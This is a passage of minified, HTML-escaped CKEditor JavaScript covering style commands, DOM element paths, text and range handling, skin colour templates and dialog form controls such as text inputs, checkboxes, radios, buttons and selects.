{};CKEDITOR.style.addCustomHandler=function(a){var b=function(a){this._={definition:a};this.setup&amp;&amp;this.setup(a)};b.prototype=CKEDITOR.tools.extend(CKEDITOR.tools.prototypedCopy(CKEDITOR.style.prototype),{assignedTo:CKEDITOR.STYLE_OBJECT},a,!0);return this.customHandlers[a.type]=b};var L=CKEDITOR.POSITION_PRECEDING|CKEDITOR.POSITION_IDENTICAL|CKEDITOR.POSITION_IS_CONTAINED,N=CKEDITOR.POSITION_FOLLOWING|CKEDITOR.POSITION_IDENTICAL|CKEDITOR.POSITION_IS_CONTAINED}(),CKEDITOR.styleCommand=function(a,
e){this.requiredContent=this.allowedContent=this.style=a;CKEDITOR.tools.extend(this,e,!0)},CKEDITOR.styleCommand.prototype.exec=function(a){a.focus();this.state==CKEDITOR.TRISTATE_OFF?a.applyStyle(this.style):this.state==CKEDITOR.TRISTATE_ON&amp;&amp;a.removeStyle(this.style)},CKEDITOR.stylesSet=new CKEDITOR.resourceManager(&quot;&quot;,&quot;stylesSet&quot;),CKEDITOR.addStylesSet=CKEDITOR.tools.bind(CKEDITOR.stylesSet.add,CKEDITOR.stylesSet),CKEDITOR.loadStylesSet=function(a,e,b){CKEDITOR.stylesSet.addExternal(a,e,&quot;&quot;);CKEDITOR.stylesSet.load(a,
b)},CKEDITOR.tools.extend(CKEDITOR.editor.prototype,{attachStyleStateChange:function(a,e){var b=this._.styleStateChangeCallbacks;b||(b=this._.styleStateChangeCallbacks=[],this.on(&quot;selectionChange&quot;,function(a){for(var d=0;d&lt;b.length;d++){var e=b[d],m=e.style.checkActive(a.data.path,this)?CKEDITOR.TRISTATE_ON:CKEDITOR.TRISTATE_OFF;e.fn.call(this,m)}}));b.push({style:a,fn:e})},applyStyle:function(a){a.apply(this)},removeStyle:function(a){a.remove(this)},getStylesSet:function(a){if(this._.stylesDefinitions)a(this._.stylesDefinitions);
else{var e=this,b=e.config.stylesCombo_stylesSet||e.config.stylesSet;if(!1===b)a(null);else if(b instanceof Array)e._.stylesDefinitions=b,a(b);else{b||(b=&quot;default&quot;);var b=b.split(&quot;:&quot;),c=b[0];CKEDITOR.stylesSet.addExternal(c,b[1]?b.slice(1).join(&quot;:&quot;):CKEDITOR.getUrl(&quot;styles.js&quot;),&quot;&quot;);CKEDITOR.stylesSet.load(c,function(b){e._.stylesDefinitions=b[c];a(e._.stylesDefinitions)})}}}}),CKEDITOR.dom.comment=function(a,e){&quot;string&quot;==typeof a&amp;&amp;(a=(e?e.$:document).createComment(a));CKEDITOR.dom.domObject.call(this,
a)},CKEDITOR.dom.comment.prototype=new CKEDITOR.dom.node,CKEDITOR.tools.extend(CKEDITOR.dom.comment.prototype,{type:CKEDITOR.NODE_COMMENT,getOuterHtml:function(){return&quot;\x3c!--&quot;+this.$.nodeValue+&quot;--\x3e&quot;}}),&quot;use strict&quot;,function(){var a={},e={},b;for(b in CKEDITOR.dtd.$blockLimit)b in CKEDITOR.dtd.$list||(a[b]=1);for(b in CKEDITOR.dtd.$block)b in CKEDITOR.dtd.$blockLimit||b in CKEDITOR.dtd.$empty||(e[b]=1);CKEDITOR.dom.elementPath=function(b,d){var k=null,m=null,f=[],h=b,l;d=d||b.getDocument().getBody();
do if(h.type==CKEDITOR.NODE_ELEMENT){f.push(h);if(!this.lastElement&amp;&amp;(this.lastElement=h,h.is(CKEDITOR.dtd.$object)||&quot;false&quot;==h.getAttribute(&quot;contenteditable&quot;)))continue;if(h.equals(d))break;if(!m&amp;&amp;(l=h.getName(),&quot;true&quot;==h.getAttribute(&quot;contenteditable&quot;)?m=h:!k&amp;&amp;e[l]&amp;&amp;(k=h),a[l])){if(l=!k&amp;&amp;&quot;div&quot;==l){a:{l=h.getChildren();for(var g=0,n=l.count();g&lt;n;g++){var v=l.getItem(g);if(v.type==CKEDITOR.NODE_ELEMENT&amp;&amp;CKEDITOR.dtd.$block[v.getName()]){l=!0;break a}}l=!1}l=!l}l?k=h:m=h}}while(h=h.getParent());m||
(m=d);this.block=k;this.blockLimit=m;this.root=d;this.elements=f}}(),CKEDITOR.dom.elementPath.prototype={compare:function(a){var e=this.elements;a=a&amp;&amp;a.elements;if(!a||e.length!=a.length)return!1;for(var b=0;b&lt;e.length;b++)if(!e[b].equals(a[b]))return!1;return!0},contains:function(a,e,b){var c;&quot;string&quot;==typeof a&amp;&amp;(c=function(b){return b.getName()==a});a instanceof CKEDITOR.dom.element?c=function(b){return b.equals(a)}:CKEDITOR.tools.isArray(a)?c=function(b){return-1&lt;CKEDITOR.tools.indexOf(a,b.getName())}:
&quot;function&quot;==typeof a?c=a:&quot;object&quot;==typeof a&amp;&amp;(c=function(b){return b.getName()in a});var d=this.elements,k=d.length;e&amp;&amp;k--;b&amp;&amp;(d=Array.prototype.slice.call(d,0),d.reverse());for(e=0;e&lt;k;e++)if(c(d[e]))return d[e];return null},isContextFor:function(a){var e;return a in CKEDITOR.dtd.$block?(e=this.contains(CKEDITOR.dtd.$intermediate)||this.root.equals(this.block)&amp;&amp;this.block||this.blockLimit,!!e.getDtd()[a]):!0},direction:function(){return(this.block||this.blockLimit||this.root).getDirection(1)}},CKEDITOR.dom.text=
function(a,e){&quot;string&quot;==typeof a&amp;&amp;(a=(e?e.$:document).createTextNode(a));this.$=a},CKEDITOR.dom.text.prototype=new CKEDITOR.dom.node,CKEDITOR.tools.extend(CKEDITOR.dom.text.prototype,{type:CKEDITOR.NODE_TEXT,getLength:function(){return this.$.nodeValue.length},getText:function(){return this.$.nodeValue},setText:function(a){this.$.nodeValue=a},split:function(a){var e=this.$.parentNode,b=e.childNodes.length,c=this.getLength(),d=this.getDocument(),k=new CKEDITOR.dom.text(this.$.splitText(a),d);e.childNodes.length==
b&amp;&amp;(a&gt;=c?(k=d.createText(&quot;&quot;),k.insertAfter(this)):(a=d.createText(&quot;&quot;),a.insertAfter(k),a.remove()));return k},substring:function(a,e){return&quot;number&quot;!=typeof e?this.$.nodeValue.substr(a):this.$.nodeValue.substring(a,e)}}),function(){function a(a,c,d){var e=a.serializable,m=c[d?&quot;endContainer&quot;:&quot;startContainer&quot;],f=d?&quot;endOffset&quot;:&quot;startOffset&quot;,h=e?c.document.getById(a.startNode):a.startNode;a=e?c.document.getById(a.endNode):a.endNode;m.equals(h.getPrevious())?(c.startOffset=c.startOffset-m.getLength()-
a.getPrevious().getLength(),m=a.getNext()):m.equals(a.getPrevious())&amp;&amp;(c.startOffset-=m.getLength(),m=a.getNext());m.equals(h.getParent())&amp;&amp;c[f]++;m.equals(a.getParent())&amp;&amp;c[f]++;c[d?&quot;endContainer&quot;:&quot;startContainer&quot;]=m;return c}CKEDITOR.dom.rangeList=function(a){if(a instanceof CKEDITOR.dom.rangeList)return a;a?a instanceof CKEDITOR.dom.range&amp;&amp;(a=[a]):a=[];return CKEDITOR.tools.extend(a,e)};var e={createIterator:function(){var a=this,c=CKEDITOR.dom.walker.bookmark(),d=[],e;return{getNextRange:function(m){e=
void 0===e?0:e+1;var f=a[e];if(f&amp;&amp;1&lt;a.length){if(!e)for(var h=a.length-1;0&lt;=h;h--)d.unshift(a[h].createBookmark(!0));if(m)for(var l=0;a[e+l+1];){var g=f.document;m=0;h=g.getById(d[l].endNode);for(g=g.getById(d[l+1].startNode);;){h=h.getNextSourceNode(!1);if(g.equals(h))m=1;else if(c(h)||h.type==CKEDITOR.NODE_ELEMENT&amp;&amp;h.isBlockBoundary())continue;break}if(!m)break;l++}for(f.moveToBookmark(d.shift());l--;)h=a[++e],h.moveToBookmark(d.shift()),f.setEnd(h.endContainer,h.endOffset)}return f}}},createBookmarks:function(b){for(var c=
[],d,e=0;e&lt;this.length;e++){c.push(d=this[e].createBookmark(b,!0));for(var m=e+1;m&lt;this.length;m++)this[m]=a(d,this[m]),this[m]=a(d,this[m],!0)}return c},createBookmarks2:function(a){for(var c=[],d=0;d&lt;this.length;d++)c.push(this[d].createBookmark2(a));return c},moveToBookmarks:function(a){for(var c=0;c&lt;this.length;c++)this[c].moveToBookmark(a[c])}}}(),function(){function a(){return CKEDITOR.getUrl(CKEDITOR.skinName.split(&quot;,&quot;)[1]||&quot;skins/&quot;+CKEDITOR.skinName.split(&quot;,&quot;)[0]+&quot;/&quot;)}function e(b){var c=
CKEDITOR.skin[&quot;ua_&quot;+b],d=CKEDITOR.env;if(c)for(var c=c.split(&quot;,&quot;).sort(function(a,b){return a&gt;b?-1:1}),f=0,e;f&lt;c.length;f++)if(e=c[f],d.ie&amp;&amp;(e.replace(/^ie/,&quot;&quot;)==d.version||d.quirks&amp;&amp;&quot;iequirks&quot;==e)&amp;&amp;(e=&quot;ie&quot;),d[e]){b+=&quot;_&quot;+c[f];break}return CKEDITOR.getUrl(a()+b+&quot;.css&quot;)}function b(a,b){k[a]||(CKEDITOR.document.appendStyleSheet(e(a)),k[a]=1);b&amp;&amp;b()}function c(a){var b=a.getById(m);b||(b=a.getHead().append(&quot;style&quot;),b.setAttribute(&quot;id&quot;,m),b.setAttribute(&quot;type&quot;,&quot;text/css&quot;));return b}function d(a,b,c){var d,
f,e;if(CKEDITOR.env.webkit)for(b=b.split(&quot;}&quot;).slice(0,-1),f=0;f&lt;b.length;f++)b[f]=b[f].split(&quot;{&quot;);for(var h=0;h&lt;a.length;h++)if(CKEDITOR.env.webkit)for(f=0;f&lt;b.length;f++){e=b[f][1];for(d=0;d&lt;c.length;d++)e=e.replace(c[d][0],c[d][1]);a[h].$.sheet.addRule(b[f][0],e)}else{e=b;for(d=0;d&lt;c.length;d++)e=e.replace(c[d][0],c[d][1]);CKEDITOR.env.ie&amp;&amp;11&gt;CKEDITOR.env.version?a[h].$.styleSheet.cssText+=e:a[h].$.innerHTML+=e}}var k={};CKEDITOR.skin={path:a,loadPart:function(c,d){CKEDITOR.skin.name!=CKEDITOR.skinName.split(&quot;,&quot;)[0]?
CKEDITOR.scriptLoader.load(CKEDITOR.getUrl(a()+&quot;skin.js&quot;),function(){b(c,d)}):b(c,d)},getPath:function(a){return CKEDITOR.getUrl(e(a))},icons:{},addIcon:function(a,b,c,d){a=a.toLowerCase();this.icons[a]||(this.icons[a]={path:b,offset:c||0,bgsize:d||&quot;16px&quot;})},getIconStyle:function(a,b,c,d,f){var e;a&amp;&amp;(a=a.toLowerCase(),b&amp;&amp;(e=this.icons[a+&quot;-rtl&quot;]),e||(e=this.icons[a]));a=c||e&amp;&amp;e.path||&quot;&quot;;d=d||e&amp;&amp;e.offset;f=f||e&amp;&amp;e.bgsize||&quot;16px&quot;;a&amp;&amp;(a=a.replace(/&#039;/g,&quot;\\&#039;&quot;));return a&amp;&amp;&quot;background-image:url(&#039;&quot;+CKEDITOR.getUrl(a)+
&quot;&#039;);background-position:0 &quot;+d+&quot;px;background-size:&quot;+f+&quot;;&quot;}};CKEDITOR.tools.extend(CKEDITOR.editor.prototype,{getUiColor:function(){return this.uiColor},setUiColor:function(a){var b=c(CKEDITOR.document);return(this.setUiColor=function(a){this.uiColor=a;var c=CKEDITOR.skin.chameleon,e=&quot;&quot;,l=&quot;&quot;;&quot;function&quot;==typeof c&amp;&amp;(e=c(this,&quot;editor&quot;),l=c(this,&quot;panel&quot;));a=[[h,a]];d([b],e,a);d(f,l,a)}).call(this,a)}});var m=&quot;cke_ui_color&quot;,f=[],h=/\$color/g;CKEDITOR.on(&quot;instanceLoaded&quot;,function(a){if(!CKEDITOR.env.ie||
!CKEDITOR.env.quirks){var b=a.editor;a=function(a){a=(a.data[0]||a.data).element.getElementsByTag(&quot;iframe&quot;).getItem(0).getFrameDocument();if(!a.getById(&quot;cke_ui_color&quot;)){a=c(a);f.push(a);var e=b.getUiColor();e&amp;&amp;d([a],CKEDITOR.skin.chameleon(b,&quot;panel&quot;),[[h,e]])}};b.on(&quot;panelShow&quot;,a);b.on(&quot;menuShow&quot;,a);b.config.uiColor&amp;&amp;b.setUiColor(b.config.uiColor)}})}(),function(){if(CKEDITOR.env.webkit)CKEDITOR.env.hc=!1;else{var a=CKEDITOR.dom.element.createFromHtml(&#039;\x3cdiv style\x3d&quot;width:0;height:0;position:absolute;left:-10000px;border:1px solid;border-color:red blue&quot;\x3e\x3c/div\x3e&#039;,
CKEDITOR.document);a.appendTo(CKEDITOR.document.getHead());try{var e=a.getComputedStyle(&quot;border-top-color&quot;),b=a.getComputedStyle(&quot;border-right-color&quot;);CKEDITOR.env.hc=!(!e||e!=b)}catch(c){CKEDITOR.env.hc=!1}a.remove()}CKEDITOR.env.hc&amp;&amp;(CKEDITOR.env.cssClass+=&quot; cke_hc&quot;);CKEDITOR.document.appendStyleText(&quot;.cke{visibility:hidden;}&quot;);CKEDITOR.status=&quot;loaded&quot;;CKEDITOR.fireOnce(&quot;loaded&quot;);if(a=CKEDITOR._.pending)for(delete CKEDITOR._.pending,e=0;e&lt;a.length;e++)CKEDITOR.editor.prototype.constructor.apply(a[e][0],
a[e][1]),CKEDITOR.add(a[e][0])}(),CKEDITOR.skin.name=&quot;moono&quot;,CKEDITOR.skin.ua_editor=&quot;ie,iequirks,ie7,ie8,gecko&quot;,CKEDITOR.skin.ua_dialog=&quot;ie,iequirks,ie7,ie8&quot;,CKEDITOR.skin.chameleon=function(){var a=function(){return function(a,b){for(var e=a.match(/[^#]./g),m=0;3&gt;m;m++){var f=m,h;h=parseInt(e[m],16);h=(&quot;0&quot;+(0&gt;b?0|h*(1+b):0|h+(255-h)*b).toString(16)).slice(-2);e[f]=h}return&quot;#&quot;+e.join(&quot;&quot;)}}(),e=function(){var a=new CKEDITOR.template(&quot;background:#{to};background-image:linear-gradient(to bottom,{from},{to});filter:progid:DXImageTransform.Microsoft.gradient(gradientType\x3d0,startColorstr\x3d&#039;{from}&#039;,endColorstr\x3d&#039;{to}&#039;);&quot;);
return function(b,e){return a.output({from:b,to:e})}}(),b={editor:new CKEDITOR.template(&quot;{id}.cke_chrome [border-color:{defaultBorder};] {id} .cke_top [ {defaultGradient}border-bottom-color:{defaultBorder};] {id} .cke_bottom [{defaultGradient}border-top-color:{defaultBorder};] {id} .cke_resizer [border-right-color:{ckeResizer}] {id} .cke_dialog_title [{defaultGradient}border-bottom-color:{defaultBorder};] {id} .cke_dialog_footer [{defaultGradient}outline-color:{defaultBorder};border-top-color:{defaultBorder};] {id} .cke_dialog_tab [{lightGradient}border-color:{defaultBorder};] {id} .cke_dialog_tab:hover [{mediumGradient}] {id} .cke_dialog_contents [border-top-color:{defaultBorder};] {id} .cke_dialog_tab_selected, {id} .cke_dialog_tab_selected:hover [background:{dialogTabSelected};border-bottom-color:{dialogTabSelectedBorder};] {id} .cke_dialog_body [background:{dialogBody};border-color:{defaultBorder};] {id} .cke_toolgroup [{lightGradient}border-color:{defaultBorder};] {id} a.cke_button_off:hover, {id} a.cke_button_off:focus, {id} a.cke_button_off:active [{mediumGradient}] {id} .cke_button_on [{ckeButtonOn}] {id} .cke_toolbar_separator [background-color: {ckeToolbarSeparator};] {id} .cke_combo_button [border-color:{defaultBorder};{lightGradient}] {id} a.cke_combo_button:hover, {id} a.cke_combo_button:focus, {id} .cke_combo_on a.cke_combo_button [border-color:{defaultBorder};{mediumGradient}] {id} .cke_path_item [color:{elementsPathColor};] {id} a.cke_path_item:hover, {id} a.cke_path_item:focus, {id} a.cke_path_item:active [background-color:{elementsPathBg};] {id}.cke_panel [border-color:{defaultBorder};] &quot;),
panel:new CKEDITOR.template(&quot;.cke_panel_grouptitle [{lightGradient}border-color:{defaultBorder};] .cke_menubutton_icon [background-color:{menubuttonIcon};] .cke_menubutton:hover .cke_menubutton_icon, .cke_menubutton:focus .cke_menubutton_icon, .cke_menubutton:active .cke_menubutton_icon [background-color:{menubuttonIconHover};] .cke_menuseparator [background-color:{menubuttonIcon};] a:hover.cke_colorbox, a:focus.cke_colorbox, a:active.cke_colorbox [border-color:{defaultBorder};] a:hover.cke_colorauto, a:hover.cke_colormore, a:focus.cke_colorauto, a:focus.cke_colormore, a:active.cke_colorauto, a:active.cke_colormore [background-color:{ckeColorauto};border-color:{defaultBorder};] &quot;)};
return function(c,d){var k=c.uiColor,k={id:&quot;.&quot;+c.id,defaultBorder:a(k,-.1),defaultGradient:e(a(k,.9),k),lightGradient:e(a(k,1),a(k,.7)),mediumGradient:e(a(k,.8),a(k,.5)),ckeButtonOn:e(a(k,.6),a(k,.7)),ckeResizer:a(k,-.4),ckeToolbarSeparator:a(k,.5),ckeColorauto:a(k,.8),dialogBody:a(k,.7),dialogTabSelected:e(&quot;#FFFFFF&quot;,&quot;#FFFFFF&quot;),dialogTabSelectedBorder:&quot;#FFF&quot;,elementsPathColor:a(k,-.6),elementsPathBg:k,menubuttonIcon:a(k,.5),menubuttonIconHover:a(k,.3)};return b[d].output(k).replace(/\[/g,&quot;{&quot;).replace(/\]/g,
&quot;}&quot;)}}(),CKEDITOR.plugins.add(&quot;dialogui&quot;,{onLoad:function(){var a=function(a){this._||(this._={});this._[&quot;default&quot;]=this._.initValue=a[&quot;default&quot;]||&quot;&quot;;this._.required=a.required||!1;for(var b=[this._],c=1;c&lt;arguments.length;c++)b.push(arguments[c]);b.push(!0);CKEDITOR.tools.extend.apply(CKEDITOR.tools,b);return this._},e={build:function(a,b,c){return new CKEDITOR.ui.dialog.textInput(a,b,c)}},b={build:function(a,b,c){return new CKEDITOR.ui.dialog[b.type](a,b,c)}},c={isChanged:function(){return this.getValue()!=
this.getInitValue()},reset:function(a){this.setValue(this.getInitValue(),a)},setInitValue:function(){this._.initValue=this.getValue()},resetInitValue:function(){this._.initValue=this._[&quot;default&quot;]},getInitValue:function(){return this._.initValue}},d=CKEDITOR.tools.extend({},CKEDITOR.ui.dialog.uiElement.prototype.eventProcessors,{onChange:function(a,b){this._.domOnChangeRegistered||(a.on(&quot;load&quot;,function(){this.getInputElement().on(&quot;change&quot;,function(){a.parts.dialog.isVisible()&amp;&amp;this.fire(&quot;change&quot;,{value:this.getValue()})},
this)},this),this._.domOnChangeRegistered=!0);this.on(&quot;change&quot;,b)}},!0),k=/^on([A-Z]\w+)/,m=function(a){for(var b in a)(k.test(b)||&quot;title&quot;==b||&quot;type&quot;==b)&amp;&amp;delete a[b];return a},f=function(a){a=a.data.getKeystroke();a==CKEDITOR.SHIFT+CKEDITOR.ALT+36?this.setDirectionMarker(&quot;ltr&quot;):a==CKEDITOR.SHIFT+CKEDITOR.ALT+35&amp;&amp;this.setDirectionMarker(&quot;rtl&quot;)};CKEDITOR.tools.extend(CKEDITOR.ui.dialog,{labeledElement:function(b,c,d,f){if(!(4&gt;arguments.length)){var e=a.call(this,c);e.labelId=CKEDITOR.tools.getNextId()+
&quot;_label&quot;;this._.children=[];var k={role:c.role||&quot;presentation&quot;};c.includeLabel&amp;&amp;(k[&quot;aria-labelledby&quot;]=e.labelId);CKEDITOR.ui.dialog.uiElement.call(this,b,c,d,&quot;div&quot;,null,k,function(){var a=[],d=c.required?&quot; cke_required&quot;:&quot;&quot;;&quot;horizontal&quot;!=c.labelLayout?a.push(&#039;\x3clabel class\x3d&quot;cke_dialog_ui_labeled_label&#039;+d+&#039;&quot; &#039;,&#039; id\x3d&quot;&#039;+e.labelId+&#039;&quot;&#039;,e.inputId?&#039; for\x3d&quot;&#039;+e.inputId+&#039;&quot;&#039;:&quot;&quot;,(c.labelStyle?&#039; style\x3d&quot;&#039;+c.labelStyle+&#039;&quot;&#039;:&quot;&quot;)+&quot;\x3e&quot;,c.label,&quot;\x3c/label\x3e&quot;,&#039;\x3cdiv class\x3d&quot;cke_dialog_ui_labeled_content&quot;&#039;,
c.controlStyle?&#039; style\x3d&quot;&#039;+c.controlStyle+&#039;&quot;&#039;:&quot;&quot;,&#039; role\x3d&quot;presentation&quot;\x3e&#039;,f.call(this,b,c),&quot;\x3c/div\x3e&quot;):(d={type:&quot;hbox&quot;,widths:c.widths,padding:0,children:[{type:&quot;html&quot;,html:&#039;\x3clabel class\x3d&quot;cke_dialog_ui_labeled_label&#039;+d+&#039;&quot; id\x3d&quot;&#039;+e.labelId+&#039;&quot; for\x3d&quot;&#039;+e.inputId+&#039;&quot;&#039;+(c.labelStyle?&#039; style\x3d&quot;&#039;+c.labelStyle+&#039;&quot;&#039;:&quot;&quot;)+&quot;\x3e&quot;+CKEDITOR.tools.htmlEncode(c.label)+&quot;\x3c/label\x3e&quot;},{type:&quot;html&quot;,html:&#039;\x3cspan class\x3d&quot;cke_dialog_ui_labeled_content&quot;&#039;+(c.controlStyle?&#039; style\x3d&quot;&#039;+c.controlStyle+
&#039;&quot;&#039;:&quot;&quot;)+&quot;\x3e&quot;+f.call(this,b,c)+&quot;\x3c/span\x3e&quot;}]},CKEDITOR.dialog._.uiElementBuilders.hbox.build(b,d,a));return a.join(&quot;&quot;)})}},textInput:function(b,c,d){if(!(3&gt;arguments.length)){a.call(this,c);var e=this._.inputId=CKEDITOR.tools.getNextId()+&quot;_textInput&quot;,k={&quot;class&quot;:&quot;cke_dialog_ui_input_&quot;+c.type,id:e,type:c.type};c.validate&amp;&amp;(this.validate=c.validate);c.maxLength&amp;&amp;(k.maxlength=c.maxLength);c.size&amp;&amp;(k.size=c.size);c.inputStyle&amp;&amp;(k.style=c.inputStyle);var m=this,q=!1;b.on(&quot;load&quot;,function(){m.getInputElement().on(&quot;keydown&quot;,
function(a){13==a.data.getKeystroke()&amp;&amp;(q=!0)});m.getInputElement().on(&quot;keyup&quot;,function(a){13==a.data.getKeystroke()&amp;&amp;q&amp;&amp;(b.getButton(&quot;ok&quot;)&amp;&amp;setTimeout(function(){b.getButton(&quot;ok&quot;).click()},0),q=!1);m.bidi&amp;&amp;f.call(m,a)},null,null,1E3)});CKEDITOR.ui.dialog.labeledElement.call(this,b,c,d,function(){var a=[&#039;\x3cdiv class\x3d&quot;cke_dialog_ui_input_&#039;,c.type,&#039;&quot; role\x3d&quot;presentation&quot;&#039;];c.width&amp;&amp;a.push(&#039;style\x3d&quot;width:&#039;+c.width+&#039;&quot; &#039;);a.push(&quot;\x3e\x3cinput &quot;);k[&quot;aria-labelledby&quot;]=this._.labelId;this._.required&amp;&amp;
(k[&quot;aria-required&quot;]=this._.required);for(var b in k)a.push(b+&#039;\x3d&quot;&#039;+k[b]+&#039;&quot; &#039;);a.push(&quot; /\x3e\x3c/div\x3e&quot;);return a.join(&quot;&quot;)})}},textarea:function(b,c,d){if(!(3&gt;arguments.length)){a.call(this,c);var e=this,k=this._.inputId=CKEDITOR.tools.getNextId()+&quot;_textarea&quot;,m={};c.validate&amp;&amp;(this.validate=c.validate);m.rows=c.rows||5;m.cols=c.cols||20;m[&quot;class&quot;]=&quot;cke_dialog_ui_input_textarea &quot;+(c[&quot;class&quot;]||&quot;&quot;);&quot;undefined&quot;!=typeof c.inputStyle&amp;&amp;(m.style=c.inputStyle);c.dir&amp;&amp;(m.dir=c.dir);if(e.bidi)b.on(&quot;load&quot;,
function(){e.getInputElement().on(&quot;keyup&quot;,f)},e);CKEDITOR.ui.dialog.labeledElement.call(this,b,c,d,function(){m[&quot;aria-labelledby&quot;]=this._.labelId;this._.required&amp;&amp;(m[&quot;aria-required&quot;]=this._.required);var a=[&#039;\x3cdiv class\x3d&quot;cke_dialog_ui_input_textarea&quot; role\x3d&quot;presentation&quot;\x3e\x3ctextarea id\x3d&quot;&#039;,k,&#039;&quot; &#039;],b;for(b in m)a.push(b+&#039;\x3d&quot;&#039;+CKEDITOR.tools.htmlEncode(m[b])+&#039;&quot; &#039;);a.push(&quot;\x3e&quot;,CKEDITOR.tools.htmlEncode(e._[&quot;default&quot;]),&quot;\x3c/textarea\x3e\x3c/div\x3e&quot;);return a.join(&quot;&quot;)})}},checkbox:function(b,
c,d){if(!(3&gt;arguments.length)){var f=a.call(this,c,{&quot;default&quot;:!!c[&quot;default&quot;]});c.validate&amp;&amp;(this.validate=c.validate);CKEDITOR.ui.dialog.uiElement.call(this,b,c,d,&quot;span&quot;,null,null,function(){var a=CKEDITOR.tools.extend({},c,{id:c.id?c.id+&quot;_checkbox&quot;:CKEDITOR.tools.getNextId()+&quot;_checkbox&quot;},!0),d=[],e=CKEDITOR.tools.getNextId()+&quot;_label&quot;,g={&quot;class&quot;:&quot;cke_dialog_ui_checkbox_input&quot;,type:&quot;checkbox&quot;,&quot;aria-labelledby&quot;:e};m(a);c[&quot;default&quot;]&amp;&amp;(g.checked=&quot;checked&quot;);&quot;undefined&quot;!=typeof a.inputStyle&amp;&amp;(a.style=a.inputStyle);
f.checkbox=new CKEDITOR.ui.dialog.uiElement(b,a,d,&quot;input&quot;,null,g);d.push(&#039; \x3clabel id\x3d&quot;&#039;,e,&#039;&quot; for\x3d&quot;&#039;,g.id,&#039;&quot;&#039;+(c.labelStyle?&#039; style\x3d&quot;&#039;+c.labelStyle+&#039;&quot;&#039;:&quot;&quot;)+&quot;\x3e&quot;,CKEDITOR.tools.htmlEncode(c.label),&quot;\x3c/label\x3e&quot;);return d.join(&quot;&quot;)})}},radio:function(b,c,d){if(!(3&gt;arguments.length)){a.call(this,c);this._[&quot;default&quot;]||(this._[&quot;default&quot;]=this._.initValue=c.items[0][1]);c.validate&amp;&amp;(this.validate=c.validate);var f=[],e=this;c.role=&quot;radiogroup&quot;;c.includeLabel=!0;CKEDITOR.ui.dialog.labeledElement.call(this,
b,c,d,function(){for(var a=[],d=[],g=(c.id?c.id:CKEDITOR.tools.getNextId())+&quot;_radio&quot;,k=0;k&lt;c.items.length;k++){var y=c.items[k],A=void 0!==y[2]?y[2]:y[0],z=void 0!==y[1]?y[1]:y[0],r=CKEDITOR.tools.getNextId()+&quot;_radio_input&quot;,w=r+&quot;_label&quot;,r=CKEDITOR.tools.extend({},c,{id:r,title:null,type:null},!0),A=CKEDITOR.tools.extend({},r,{title:A},!0),C={type:&quot;radio&quot;,&quot;class&quot;:&quot;cke_dialog_ui_radio_input&quot;,name:g,value:z,&quot;aria-labelledby&quot;:w},x=[];e._[&quot;default&quot;]==z&amp;&amp;(C.checked=&quot;checked&quot;);m(r);m(A);&quot;undefined&quot;!=typeof r.inputStyle&amp;&amp;
(r.style=r.inputStyle);r.keyboardFocusable=!0;f.push(new CKEDITOR.ui.dialog.uiElement(b,r,x,&quot;input&quot;,null,C));x.push(&quot; &quot;);new CKEDITOR.ui.dialog.uiElement(b,A,x,&quot;label&quot;,null,{id:w,&quot;for&quot;:C.id},y[0]);a.push(x.join(&quot;&quot;))}new CKEDITOR.ui.dialog.hbox(b,f,a,d);return d.join(&quot;&quot;)});this._.children=f}},button:function(b,c,d){if(arguments.length){&quot;function&quot;==typeof c&amp;&amp;(c=c(b.getParentEditor()));a.call(this,c,{disabled:c.disabled||!1});CKEDITOR.event.implementOn(this);var f=this;b.on(&quot;load&quot;,function(){var a=this.getElement();
(function(){a.on(&quot;click&quot;,function(a){f.click();a.data.preventDefault()});a.on(&quot;keydown&quot;,function(a){a.data.getKeystroke()in{32:1}&amp;&amp;(f.click(),a.data.preventDefault())})})();a.unselectable()},this);var e=CKEDITOR.tools.extend({},c);delete e.style;var k=CKEDITOR.tools.getNextId()+&quot;_label&quot;;CKEDITOR.ui.dialog.uiElement.call(this,b,e,d,&quot;a&quot;,null,{style:c.style,href:&quot;javascript:void(0)&quot;,title:c.label,hidefocus:&quot;true&quot;,&quot;class&quot;:c[&quot;class&quot;],role:&quot;button&quot;,&quot;aria-labelledby&quot;:k},&#039;\x3cspan id\x3d&quot;&#039;+k+&#039;&quot; class\x3d&quot;cke_dialog_ui_button&quot;\x3e&#039;+
CKEDITOR.tools.htmlEncode(c.label)+&quot;\x3c/span\x3e&quot;)}},select:function(b,c,d){if(!(3&gt;arguments.length)){var f=a.call(this,c);c.validate&amp;&amp;(this.validate=c.validate);f.inputId=CKEDITOR.tools.getNextId()+&quot;_select&quot;;CKEDITOR.ui.dialog.labeledElement.call(this,b,c,d,function(){var a=CKEDITOR.tools.extend({},c,{id:c.id?c.id+&quot;_select&quot;:CKEDITOR.tools.getNextId()+&quot;_select&quot;},!0),d=[],e=[],g={id:f.inputId,&quot;class&quot;:&quot;cke_dialog_ui_input_select&quot;,&quot;aria-labelledby&quot;:this._.labelId};d.push(&#039;\x3cdiv class\x3d&quot;cke_dialog_ui_input_&#039;,
c.type,&#039;&quot; role\x3d&quot;presentation&quot;&#039;);c.width&amp;&amp;d.push(&#039;style\x3d&quot;width:&#039;+c.width+&#039;&quot; &#039;);d.push(&quot;\x3e&quot;);void 0!==c.size&amp;&amp;(g.size=c.size);void 0!==c.multiple&amp;&amp;(g.multiple=c.multiple);m(a);for(var k=0,y;k&lt;c.items.length&amp;&amp;(y=c.items[k]);k++)e.push(&#039;\x3coption value\x3d&quot;&#039;,CKEDITOR.tools.htmlEncode(void 0!==y[1]?y[1]:y[0]).replace(/&quot;/g,&quot;\x26quot;&quot;),&#039;&quot; /\x3e &#039;,CKEDITOR.tools.htmlEncode(y[0]));&quot;undefined&quot;!=typeof a.inputStyle&amp;&amp;(a.style=a.inputStyle);f.select=new CKEDITOR.ui.dialog.uiElement(b,a,d,&quot;select&quot;,null,
